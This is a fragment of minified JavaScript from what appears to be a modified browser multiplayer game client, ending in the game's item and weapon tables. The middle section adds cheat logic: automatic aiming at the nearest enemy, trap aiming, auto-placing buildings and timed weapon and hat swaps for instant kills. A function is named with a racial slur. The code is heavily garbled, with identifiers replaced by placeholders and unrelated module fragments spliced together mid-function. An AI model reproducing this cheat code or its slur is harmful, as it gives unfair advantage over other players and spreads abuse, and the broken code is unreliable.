ai(r, "spikes" == [Link] ? 5 : 6, [Link], d),
[Link](),
[Link](),
[Link] = "#a5974c",
si(0, 0, d, r),
[Link] = "#c9b758",
si(0, 0, d / 2, r, !0)
} else if ("windmill" == [Link] || "faster windmill" ==
[Link] || "power mill" == [Link]) [Link] = "#a5974c", si(0, 0, [Link], r),
[Link] = "#c9b758", ci(0, 0, 1.5 * [Link], 29, 4, r), [Link] =
"#a5974c", si(0, 0, .5 * [Link], r);
else if ("mine" == [Link])
[Link] = "#939393",
ai(r, 3, [Link], [Link]),
[Link](),
[Link](),
[Link] = "#bcbcbc",
ai(r, 3, .55 * [Link], .65 * [Link]),
[Link]();
else if ("sapling" == [Link])
for (c = 0; c < 2; ++c)
ai(r, 7, d = [Link] * (c ? .5 : 1), .7 * d),
[Link] = c ? "#b4db62" : "#9ebf57",
[Link](),
c || [Link]();
else if ("pit trap" == [Link])
[Link] = "#a5974c",
ai(r, 3, 1.1 * [Link], 1.1 * [Link]),
[Link](),
[Link](),
[Link] = it,
ai(r, 3, .65 * [Link], .65 * [Link]),
[Link]();
else if ("boost pad" == [Link])
[Link] = "#7e7f82",
oi(0, 0, 2 * [Link], 2 * [Link], r),
[Link](),
[Link](),
[Link] = "#dbd97d",
function(e, t) {
t = t || be;
var n = e * ([Link](3) / 2);
[Link](),
[Link](0, -n / 2),
[Link](-e / 2, n / 2),
[Link](e / 2, n / 2),
[Link](0, -n / 2),
[Link](),
[Link]()
}(1 * [Link], r);
else if ("turret" == [Link])
[Link] = "#a5974c",
si(0, 0, [Link], r),
[Link](),
[Link](),
[Link] = "#939393",
oi(0, -25, .9 * [Link], 50, r),
si(0, 0, .6 * [Link], r),
[Link](),
[Link]();
else if ("platform" == [Link]) {
[Link] = "#cebd5f";
var p = 2 * [Link]
, g = p / 4
, m = -[Link] / 2;
for (c = 0; c < 4; ++c)
oi(m - g / 2, 0, g, 2 * [Link], r),
[Link](),
[Link](),
m += p / 4
} else
"healing pad" == [Link] ? ([Link] = "#7e7f82",
oi(0, 0, 2 * [Link], 2 * [Link],
r),
[Link](),
[Link](),
[Link] = "#db6e6e",
ci(0, 0, .65 * [Link], 20, 4, r, !
0)) : "spawn pad" == [Link] ? ([Link] = "#7e7f82",
[Link](),
[Link](),
[Link] = "#71aad6",
[Link](),
[Link](),
[Link]([Link] / 4),
[Link] = "#db6e6e",
[Link](),
[Link](),
[Link]([Link] / 4),
[Link] = "#d76edb",
setInterval(function(){
ctl = [Link]([Link]([Link]() - ltcl));
[ctl].forEach(t=>t>[Link]((1000/9)/2)?t_s = !1:t_s = !0);
if(!!autoaim) [Link]("2", Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
if(!!trapaim) [Link] && ([Link]("2", Math.atan2(itp.y - R.y, itp.x -
R.x)));
//if(!!buildingaim) sliceByName(buildName) != undefined && ([Link]("2",
Math.atan2(sliceByName(buildName).y - R.y, sliceByName(buildName).x - R.x)));
});
var nEy;
var oldShit = {a: null, b: null};
let gameEnemy = {};
let gameTeammate = {};
let nearest, all;
let tC = 0;
let ntE;
let nEs;
let currentX = [], currentY = [], nowX = [], nowY = [];
async function Ti(e) {
eznigger();
resolveConstructor();
![Link] && Mill.z && Mills();
nEy = {};
ntE = [];
nEs = [];
nowX = [], nowY = [];
ltcl = [Link]();
tC++;
for (var t = [Link](), n = 0; n < [Link]; ++n)
W[n].forcePos = !W[n].visible,
W[n].visible = !1;
for (n = 0; n < [Link]; )
(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2,
_.t2 = t,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[n + 1],
_.y2 = e[n + 2],
nowX[_.sid] = _.x2, nowY[_.sid] = _.y2,
(lastX[_.sid] && lastY[_.sid] && (tC - 1 ==
_.lastData ? (_.preX = ((_.x2 * 2) - lastX[_.sid]), _.preY = ((_.y2 * 2) -
lastY[_.sid])) : (_.preX = _.x2, _.preY = _.y2))),
_.lastData = tC,
_.d1 = void 0 === _.d2 ? e[n + 3] : _.d2,
_.d2 = e[n + 3],
(_.dt > 200 && uq++),
_.movement = [Link](_.y1 - _.y2, _.x1 -
_.x2),
_.dt = 0,
_.buildIndex = e[n + 4],
_.weaponIndex = e[n + 5],
_.weaponVariant = e[n + 6],
_.team = e[n + 7],
_.isLeader = e[n + 8],
_.skinIndex = e[n + 9],
_.tailIndex = e[n + 10],
_.iconIndex = e[n + 11],
_.zIndex = e[n + 12],
_.visible = !0,
(_ == R || _.team && _.team == [Link]) ?
doWeaponStuff(_) : [Link]([Link](n, n + 13))), n += 13,
!![Link] && (nEs = [Link]((a, b) => [Link](a[1],
a[2], R.x, R.y) - [Link](b[1], b[2], R.x, R.y)), ntE = nEs[0]),
solvePlayerType();
nEy = [Link] && [Link](e => [Link] != [Link] || [Link] && [Link] !=
[Link]).sort((a, b) => [Link](a.x, a.y, R.x, R.y) - [Link](b.x, b.y,
R.x, R.y))[0];
erp && [Link] && ![Link] && [Link](ntE[1], ntE[2], R.x, R.y)
<= 300 && autoPlace(nEy);
let track = new createTrack(nHeal.delay_1, nHeal.delay_2,
[Link], [Link]);
lastX = nowX;
lastY = nowY;
for(let i in gameEnemy[all]) {
doWeaponStuff(Ii(gameEnemy[all][i].sid));
}
if([Link] > 3 && ![Link]) {
if(((tC - [Link]) % 9 == 0 || ([Link] && uq > 1))) {
Equip(7, 11);
}
} else {
if(([Link] == 5 || [Link] < 5) && [Link] == 7 &&
((tC - [Link]) % 9 != 0 || ([Link] && uq < 1))) {
if([Link]) {
Equip(oldShit.a, oldShit.b);
} else {
biome(11);
}
}
}
if([Link] != -1 && [Link](R.x, R.y, ntE[1], ntE[2]) > twq()
&& ![Link]) {
[Link] = true;
await nextTick();
await nextTick();
[Link] = false;
} else if([Link] != -1 && [Link] && [Link] == 6) {
[Link] = true;
await nextTick();
await nextTick();
[Link] = false;
}
//nEy && [Link](goesTo([Link], {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, R.x2 - R.x2),
[Link][[Link][[Link][1]].projectile], R));
//[Link](twq());
/*
if([Link]) {
if(![Link]) {
if([4, 5].includes([Link][0]) && [Link][1] == 15) {
if ([Link](ntE[1], ntE[2], R.x, R.y) <= twq()) {
if([Link] > 3 || ([Link]() - nHeal.delay_1 >=
120 && ([Link]() - nHeal.delay_2 < ([Link][[Link][1]].speed * 2) - 111)) ||
([Link] > 0 && [Link] == 7 && (tC - Ii(ntE[0]).lastBull) % 9 == 8)){
if (secondaryReload[[Link]] == 1) {
if(primaryReload[[Link]] == 1) {
fuck();
}
}
} else {
if(primaryReload[[Link]] == 1) {
Kt(7, 0), Kt(21, 1), Jt(0, 1), Jt(7, 0), Jt(21,
1), autoaim = true, [Link]("c", 1), [Link] != [Link][0] &&
(Sn([Link][0], 1));
} else {
[4, 5, 15, 13].includes(ntE[5]) &&
secondaryReload[ntE[0]] == 1 ? (Kt(6, 0), Jt(6, 0), Jt(0, 1), Kt(21, 1), Jt(21, 1))
: biome(21);
}
}
}
}
}
}
/*
if([Link]) {
if([Link] > 0) {
if([Link] == 7 && ([Link] == 13 ||
[Link](R.x, R.y, ntE[1], ntE[2]) <= [Link][ntE[5]].range + 35)) {
if((tC - Ii(ntE[0]).lastBull) % 9 == 8) {
system([Link], "bull ticks at the shame of
"+[Link]);
}
}
if([Link] < 120) {
let s = [Link];
if(s < [Link]) {
system([Link], "clowns to bull spam");
}
}
}
}
*/
//[Link](N);
//[Link](countBuildingIndex("windmill", 300, R));
//[Link](cwd("speed", 2, [Link][[Link]].range + (35 *
countPlayerIndex(500))));
if([Link]) {
if(secondaryReload[[Link]] == 1 && turretReload[[Link]] == 1 && 15 ==
[Link][1] && [Link](ntE[1] - R.x, ntE[2] - R.y) <= twq() && [Link][0] ==
4) {
trapaim = false;
await nextTick();
xn();
} else {
if(![Link]) {
trapaim = true;
if([Link][1] == 10) {
if([Link][0] == 7) {
if([Link] == [Link][0]) {
if([Link] <= 20) {
Equip(40), [Link]("c", 1);
} else {
Sn([Link][1], 1);
}
} else {
[Link]("c", 1);
if([Link] > 20) {
if(secondaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
Sn([Link][0], 1);
}
}
} else if([Link][0] == 4) {
if([Link] == [Link][0]) {
if(primaryReload[[Link]] > 0.49) {
Equip(40), [Link]("c", 1);
} else {
Sn([Link][1], 1);
}
} else {
[Link]("c", 1);
if([Link] > 40) {
if(secondaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[[Link]] > 0.49) {
Sn([Link][0], 1);
} else {
if(secondaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
} else {
if([Link] == [Link][0]) {
if(primaryReload[[Link]] > 0.67) {
Equip(40), [Link]("c", 1);
} else {
Sn([Link][1], 1);
}
} else {
[Link]("c", 1);
if([Link] > 40) {
if(secondaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[[Link]] > 0.67) {
Sn([Link][0], 1);
} else {
if(secondaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
}
} else {// can insta
if([Link][0] != [Link]) {
Sn([Link][0], 1);
} else {
[Link]("c", 1);
if(primaryReload[[Link]] == 1) {
Equip(40);
} else {
Equip(6);
}
}
}
}
}
}
if([Link]) [Link]("2", pn() + spn());
Update();
}
function convertToArray(e) {
return !(e instanceof Array) && (typeof e === "number" ? [e] :
Array(e));
}
function dist(a, b){
return [Link]([Link]((([Link] || b.y2)-([Link] ||
a.y2)),2)+[Link]((([Link] || b.x2)-([Link] || a.x2)),2));
}
function eznigger() { //ae86 lookalike bars plsssssss
[Link]("actionBarItem17").[Link] =
"url('[Link]
New_Project_60.png')";
[Link]("actionBarItem18").[Link] =
"url('h[Link]
/New_Project_60.png')";
if([Link]("actionBarItem31"))
[Link]("actionBarItem31").[Link] = "none";
if([Link]("actionBarItem34"))
[Link]("actionBarItem34").[Link] = "none";
if([Link]("actionBarItem33"))
[Link]("actionBarItem33").[Link] = "none";
if([Link]("actionBarItem36"))
[Link]("actionBarItem36").[Link] = "none";
if([Link]("actionBarItem37"))
[Link]("actionBarItem37").[Link] = "none";
if([Link]("actionBarItem38"))
[Link]("actionBarItem38").[Link] = "none";
if([Link]("actionBarItem35"))
[Link]("actionBarItem35").[Link] = "none";
if([Link]("actionBarItem29"))
[Link]("actionBarItem29").[Link] = "none";
if([Link]("actionBarItem36"))
[Link]("actionBarItem36").[Link] = "none";
if([Link]("actionBarItem21"))
[Link]("actionBarItem21").[Link] = "none";
if([Link]("actionBarItem20"))
[Link]("actionBarItem20").[Link] =
"url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEIAAABCCAYAAADjVADoAAAAAXNSR0I
Ars4c6QAAA4ZJREFUeF7tmr1v00AYxh+btqRF4qMUWlQWYEEsgFgQQsyOO7QGIcGAhAQbEyD+C2BihAEJCc
TiMORcOiKEWCpgQSyIBUQDpXwIkjRJY+QkhsQ6f54vTtXXW5Q7+31/
ft7nznengK4WAYU4tAkQiI4SCASB6DUFUgQpghTBHSipNAalNGZmzuyv19d2LCwUFrOc02SqCF03VgGMdAC
UGDOnsoKRCQhdN+yghBkz+x5X3x8YBsEF1G8YfQPhB2As1xZHucoPpV9ApIPQdeMOgCu8UtBO1qCq7X+aTW
D+uWsXnjFewf1i0bwo0z+kgdB1owBglhe8fqoWmBN7xgdi2/
ZTyypoMoBIAaHrp38D9pYkEP55hA8MAN8ZM8fThpEqiCAjDFOBX2J+6nDa23Y1Z1mWMwQLX6mAkAHAm1kQk
DQMVQiEphlnVRWPea/
j2KEGJieawm+q+walZRWLb4f43wqKfaFYLDxI+sBEIDRt9qqqqrd5Dz1xpI7tWwPnSz3ddo1vbv3+uhJd4T
9+KXjxepibs203b1jWk5txgSQC4VcKcX1g395eP/
3w8U+s+P3KJUmppAJCFIA3e1EgmYCIA2FkSMX01Gikt/
5pqYJaI7rHdKtjYEGM5jZhaiIXCYC30dJyFZXqWmjfgQfh9YHQjHwahJXLwIJIC0BU/
yAQHVIEgkD0Fg0pghRBiuAOsFQaVBpUGlQaDgG/
qTZ5BHkEecT68gg32rS+QtftZ3j3axsbHcLkzvYibdyr9G0V5UojtNvAmiUv8pFhFdOTEZfqShXU6utoqc5
JOM66pdM+rFzCysAL2buancmaZXdQokBEAbix9BPENQC3ePI/friO8W1yN3hWfip4+Ya/wQPgOmMmd/
MpyGgS7Wu4N9Q045yq4iHvAUcPNrBnd/QaD3VDAJ+/qHj1jr/l12zi/
Py8+SjKfXhthEC4N9zwm8BesjKAyN4Fd3NIRREcIM4m5hhPglENNQBAmTGTewglaVk4/
aSAaA2pusEA5JPACIBgMWbqIgn79ZUG4r9/
zN0FlEu8AKIeJgPse4wVLssAILU0uCrwOWS6YY4XxjHU7rZJJkUiipFeGnHUITIzFIEg1SyjBJbPGzVFQWu
KaNuoW5bJP2AZ5WaCbTJRRHfM+fzcAee3ZRXeC+Yi1D1zEELRp9iZQHRgEggC0VtXpAhSBCmCO9ZQaVBp9A
rjL61iwlIxaotoAAAAAElFTkSuQmCC'";
if([Link]("actionBarItem24"))
[Link]("actionBarItem24").[Link] =
"url('[Link]
[Link]'";
if([Link]("actionBarItem25"))
[Link]("actionBarItem25").[Link] =
"url('[Link]
[Link]'";
if([Link]("actionBarItem24"))
[Link]("actionBarItem25").[Link] =
"url('[Link]
[Link]'";
if([Link]("actionBarItem23"))
[Link]("actionBarItem23").[Link] =
"url('[Link]
[Link]'";
if([Link]("actionBarItem30"))
[Link]("actionBarItem30").[Link] = "none";
if([Link]("actionBarItem32"))
[Link]("actionBarItem32").[Link] = "none";
if([Link]("chatBox"))
[Link]("chatBox").[Link] = "0";
}
function Update(e, t, n){
nEy && [Link][1] && secondaryReload[[Link]] == 1 && [9, 12, 13,
15].includes([Link][1]) ?
([Link] = goesTo([Link], {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, nEy.x2 - R.x2),
[Link][[Link][[Link][1]].projectile], R)) : (nEy
&& ([Link] = false))
for(let i of [Link]) [Link](...[Link]);
[Link] = [];
[Link].l = [Link]();
[Link].f();
}
function Hq(e, t = pn(), n, i) {
n = [Link][e];
if(n != undefined) {
i = (35 + [Link] + ([Link] || 0));
if(n && [Link](R.x2 + [Link](t) * i, R.y2 +
[Link](t) * i, [Link], .6, [Link], false)) {
place(e, t);
return true;
} else {
return false;
}
} else {
return false;
}
};
function twq(r, t, s, n) {
var p = checkConstant() != undefined && (checkConstant()[1]);
r = ([Link][[Link]].range + 35);
t = MM(nEy);
n = MM(R);
s = !p ? t > 1.4 ? [Link]((r * t) - ([Link]/2)) : t < 1 ? r :
r * t : n > 1.4 ? [Link]((r * n) - ([Link]/2)) : n < 1 ? r : r * n;
return [Link](s);
}
function countPlayerIndex(e) {
let tt = 0;
let data = [Link] && [Link](a => [Link] && [Link](a.x, a.y,
R.x, R.y) <= e).forEach((b, i) => tt = i+1);
return tt;
}
function countBuildingIndex(e, r, o) {
let tt = 0;
let data = [Link] && [Link](a => [Link] && [Link] && [Link]
== [Link] && [[Link]].includes(e) && [Link](a.x, a.y, R.x, R.y) <=
r).forEach((b, i) => tt = i+1);
return tt;
}
function cwd(t, c, r) {
let d = [];
[Link] && [Link](o => [Link] != [Link] && [Link] &&
[Link](o.x, o.y, R.x, R.y) <= r).forEach(async (b, i) => {
await (i == c || i > c), [Link]([Link][[Link]][t]);
});
return d;
}
function MM(_) {
var i = (_.buildIndex && _.buildIndex >= 0 ? .5 : 1) * (_.weaponIndex &&
[Link][_.weaponIndex].spdMult || 1) * (_.skinIndex && [Link](s => [Link] ==
_.skinIndex).spdMult || 1) * (_.tailIndex && [Link](r => [Link] ==
_.tailIndex).spdMult || 1) * (_.y <= [Link] ? _.skinIndex && [Link](p =>
[Link] == _.skinIndex).coldM ? 1 : .75 : 1) * _.slowMult;
!_.zIndex && _.y >= [Link] / 2 - [Link] / 2 && f <= [Link]
/ 2 + [Link] / 2 && (_.skinIndex && [Link](s => [Link] == _.skinIndex).watrImm
? (i *= 0.75) : (i *= 0.33));
return i;
}
function doWeaponStuff(_){
if(_.skinIndex == 45){
_.shameCount = 8;
}else if(isNaN(_.shameCount)){
_.shameCount = 0;
}
o[l[0]][l[1]] = a),
[Link]((a ? "" : "no-") + [Link]("-"))
}
}(),
function(e) {
var t = [Link]
, n = o._config.classPrefix || "";
if (l && (t = [Link]),
o._config.enableJSClass) {
var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
t = [Link](i, "$1" + n + "js$2")
}
o._config.enableClasses && (t += " " + n + [Link](" " + n),
l ? [Link] = t :
[Link] = t)
}(r),
delete [Link],
delete [Link];
for (var h = 0; h < o._q.length; h++)
o._q[h]();
[Link] = o
}(window, document)
}
, function(e, t, n) {
var i = n(24);
n(19),
[Link] = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, n) {
if (![Link]) {
var r = this;
try {
var s = !1
, a = e;
[Link] = new WebSocket(a),
[Link] = "arraybuffer",
[Link] = function(e) {
var t = new Uint8Array([Link])
, s = [Link](t)
, a = s[0];
t = s[1],
"io-init" == a ? [Link] = t[0] : n[a].apply(void
0, t)
}
,
[Link] = function() {
[Link] = !0,
t()
}
,
[Link] = function(e) {
[Link] = !1,
4001 == [Link] ? t("Invalid Connection") : s ||
t("disconnected")
}
,
[Link] = function(e) {
[Link] && [Link] != [Link]
&& (s = !0,
t("Socket error"))
}
} catch (e) {
[Link]("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = [Link](arguments, 1)
, n = [Link]([e, t]);
[Link](n)
},
socketReady: function() {
return [Link] && [Link]
},
close: function() {
[Link] && [Link]()
}
}
}
, function(e, t, n) {
[Link] = n(9).encode,
[Link] = n(15).decode,
[Link] = n(37).Encoder,
[Link] = n(38).Decoder,
[Link] = n(39).createCodec,
[Link] = n(40).codec
}
, function(e, t, n) {
(function(t) {
function n(e) {
return e && [Link] && e
}
[Link] = n(void 0 !== t && t) || n([Link]) || n("undefined" !=
typeof window && [Link]) || [Link]
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
"use strict";
[Link] = function(e) {
var t = l(e)
, n = t[0]
, i = t[1];
return 3 * (n + i) / 4 - i
}
,
[Link] = function(e) {
var t, n, i = l(e), a = i[0], o = i[1], c = new s(function(e, t, n) {
return 3 * (t + n) / 4 - n
}(0, a, o)), h = 0, u = o > 0 ? a - 4 : a;
for (n = 0; n < u; n += 4)
t = r[[Link](n)] << 18 | r[[Link](n + 1)] << 12 |
r[[Link](n + 2)] << 6 | r[[Link](n + 3)],
c[h++] = t >> 16 & 255,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t;
return 2 === o && (t = r[[Link](n)] << 2 | r[[Link](n + 1)]
>> 4,
c[h++] = 255 & t),
1 === o && (t = r[[Link](n)] << 10 | r[[Link](n + 1)] <<
4 | r[[Link](n + 2)] >> 2,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t),
c
}
,
[Link] = function(e) {
for (var t, n = [Link], r = n % 3, s = [], a = 0, o = n - r; a < o; a
+= 16383)
[Link](u(e, a, a + 16383 > o ? o : a + 16383));
return 1 === r ? (t = e[n - 1],
[Link](i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r
&& (t = (e[n - 2] << 8) + e[n - 1],
[Link](i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")),
[Link]("")
}
;
for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o =
0, c = [Link]; o < c; ++o)
i[o] = a[o],
r[[Link](o)] = o;
function l(e) {
var t = [Link];
if (t % 4 > 0)
throw new Error("Invalid string. Length must be a multiple of 4");
var n = [Link]("=");
return -1 === n && (n = t),
[n, n === t ? 0 : 4 - n % 4]
}
function h(e) {
return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
}
function u(e, t, n) {
for (var i, r = [], s = t; s < n; s += 3)
i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s +
2]),
[Link](h(i));
return [Link]("")
}
r["-".charCodeAt(0)] = 62,
r["_".charCodeAt(0)] = 63
}
, function(e, t) {
var n = {}.toString;
[Link] = [Link] || function(e) {
return "[object Array]" == [Link](e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Array(e)
}
(t = [Link] = r(0)).alloc = r,
[Link] = [Link],
[Link] = function(e) {
if ( && [Link](e))
e = [Link](e);
else if ([Link](e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return [Link](t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return [Link](e)
}
}
, function(e, t, n) {
var i = n(0)
, r = [Link];
function s(e) {
return new r(e)
}
(t = [Link] = [Link] ? s(0) : []).alloc = [Link] && [Link] ||
s,
[Link] = [Link],
[Link] = function(e) {
if ( && [Link](e))
e = [Link](e);
else if ([Link](e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return [Link](t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return [Link] && 1 !== [Link] ? [Link](e) : new r(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Uint8Array(e)
}
(t = [Link] = [Link] ? r(0) : []).alloc = r,
[Link] = [Link],
[Link] = function(e) {
if ([Link](e)) {
var n = [Link]
, r = [Link];
(e = [Link]).byteLength !== r && ([Link] ? e = [Link](n, n +
r) : (e = new Uint8Array(e)).byteLength !== r && (e = [Link](e,
n, n + r)))
} else {
if ("string" == typeof e)
return [Link](t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return new Uint8Array(e)
}
}
, function(e, t) {
[Link] = function(e, t, n, i) {
var r;
n || (n = 0),
i || 0 === i || (i = [Link]),
t || (t = 0);
var s = i - n;
if (e === this && n < t && t < i)
for (r = s - 1; r >= 0; r--)
e[r + t] = this[r + n];
else
for (r = 0; r < s; r++)
e[r + t] = this[r + n];
return s
}
,
[Link] = function(e, t, n) {
var i = 0 | t;
n || (n = [Link]);
for (var r = "", s = 0; i < n; )
(s = this[i++]) < 128 ? r += [Link](s) : (192 == (224 &
s) ? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 |
(63 & this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 |
(63 & this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]),
s >= 65536 ?
(s -= 65536,
r = !1)
}
)), !1),
[Link]("touchend", [Link](s), !1),
[Link]("touchcancel", [Link](s), !1),
[Link]("touchleave", [Link](s), !1)
}
,
[Link] = function(e) {
for (; [Link](); )
[Link]([Link])
}
,
[Link] = function(t) {
var n = [Link]([Link] || "div");
function i(e, i) {
t[e] && (n[i] = t[e])
}
for (var r in i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t) {
switch (r) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
n[r] = t[r]
}
if ([Link] && ([Link] = [Link]([Link])),
[Link] && ([Link] =
[Link]([Link])),
[Link] && ([Link] =
[Link]([Link])),
[Link] && ([Link] = [Link]),
[Link] && [Link](n),
[Link] && [Link](n),
[Link])
for (var s = 0; s < [Link]; s++)
[Link]([Link][s]);
return n
}
,
[Link] = function(e) {
return !e || "boolean" != typeof [Link] || [Link]
}
,
[Link] = function(t) {
return function(n) {
n && n instanceof Event && [Link](n) && t(n)
}
}
,
[Link] = function(e) {
for (var t = "", n =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i+
+)
t += [Link]([Link]([Link]() * [Link]));
return t
}
,
[Link] = function(e, t) {
for (var n = 0, i = 0; i < [Link]; i++)
e[i] === t && n++;
return n
}
}
, function (e, t) {
[Link] = function () {
[Link] = function (e, t, n, i, r, s, a) {
this.x = e, this.y = t, [Link] = a, [Link] = n,
[Link] = [Link], [Link] = 1.5 * n, [Link] = .1,
[Link] = .13, [Link] = 678, [Link] = s,[Link]([Link])
}, [Link] = function (e) {
[Link] && ([Link] -= e, this.y -= [Link] * e,
[Link] += [Link] * e, [Link] >= [Link] ? ([Link] =
[Link], [Link] *= -1) : [Link] <= [Link] &&
([Link] = [Link], [Link] = 0), [Link] <= 0 && ([Link] =
0))
}, [Link] = function (e, t, n) {
[Link] = [Link], [Link] = [Link] + "px
Hammersmith One", [Link]([Link], this.x - t, this.y - n),
[Link]([Link], this.x - t, this.y - n)
}
}, [Link] = function () {
[Link] = [], [Link] = function (e, t, n, i) {
[Link] = "middle", [Link] = "center";
for (var r = 0; r < [Link]; ++r)
[Link][r].life && ([Link][r].update(e), [Link][r].render(t, n, i))
}, [Link] = function (t, n, i, r, s, a, o) {
for (var c, l = 0; l < [Link]; ++l)
if (![Link][l].life) {
c = [Link][l];
break
} c || (c = new [Link],
[Link](c)), [Link](t, n, i, r, s, a, o)
}
}
}, function(e, t) {
[Link] = function(e) {
[Link] = e,
[Link] = function(e, t, n, i, r, s, a) {
s = s || {},
[Link] = false,
[Link] = {},
[Link] = [],
[Link] = !0,
[Link] = [Link],
this.x = e,
this.y = t,
[Link] = n,
[Link] = 0,
[Link] = 0,
[Link] = i,
[Link] = r,
[Link] = [Link],
[Link] = a,
[Link] = [Link],
[Link] = null != [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = 2,
null != [Link] ? [Link] = [Link] : 0 ==
[Link] ? [Link] = 3 : 2 == [Link] ? [Link] = 0 : 4 == [Link] &&
([Link] = -1),
[Link] = [Link] || 1,
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link] || 0,
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
[Link] = [Link]
}
,
[Link] = function(e, t) {
return [Link] += e,
[Link] <= 0
}
,
[Link] = function(e, t) {
return e = e || 1,
[Link] * ([Link] || 2 == [Link] || 3 == [Link] ||
4 == [Link] ? 1 : .6 * e) * (t ? 1 : [Link])
}
,
[Link] = function(e) {
return ![Link] || [Link] && ([Link] == e ||
[Link] && [Link] == [Link])
}
,
[Link] = function(e) {
[Link] && ([Link] && ([Link] *= [Link](.99, e)),
[Link] && ([Link] *= [Link](.99, e)),
[Link] && ([Link] += [Link] * e))
}
}
}
, function(e, t) {
[Link] = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
[Link] = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
[Link] = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
